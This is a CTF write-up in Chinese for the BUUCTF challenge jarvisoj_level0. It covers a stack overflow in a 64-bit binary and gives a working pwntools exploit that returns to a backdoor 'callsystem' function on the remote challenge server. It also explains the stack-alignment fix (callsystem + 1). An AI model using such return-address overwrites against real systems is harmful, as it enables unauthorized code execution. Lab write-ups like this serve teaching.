BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
云安全干货局2 小时前
服务器被攻击后如何快速恢复?数据备份 + 应急响应手册
网络·网络安全·云服务器·弹性云服务器
simon_skywalker3 小时前
软考 信息安全笔记(一)
网络安全
汤愈韬7 小时前
防火墙双机热备技术之VRRP
网络·网络协议·网络安全·security·huawei
番茄灭世神9 小时前
密码学入门基础
网络安全·区块链·密码学·哈希算法
信创天地11 小时前
AI + 信创双轮驱动:从自主可控到智能引领,重塑数字经济新范式
运维·人工智能·网络安全·系统架构·系统安全·运维开发
Whoami!11 小时前
❿⁄₉ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 破解Windows哈希的原理
网络安全·信息安全·密码破解·mimikatz
集成显卡12 小时前
CVE检索工具 | 开发一款检索漏洞信息的小程序
网络安全·小程序·uni-app·cve·漏洞信息
QuantumRedGuestk12 小时前
DEDECMS靶场CSRF漏洞分析与安全防护
网络安全·漏洞分析·csrf·dedecms
A5rZ14 小时前
UofTCTF 2026 Unrealistic Client-Side Challenge - Flag 1
ctf
上海云盾-高防顾问14 小时前
API接口成攻击重灾区?高防CDN限流策略让恶意调用无所遁形
web安全·网络安全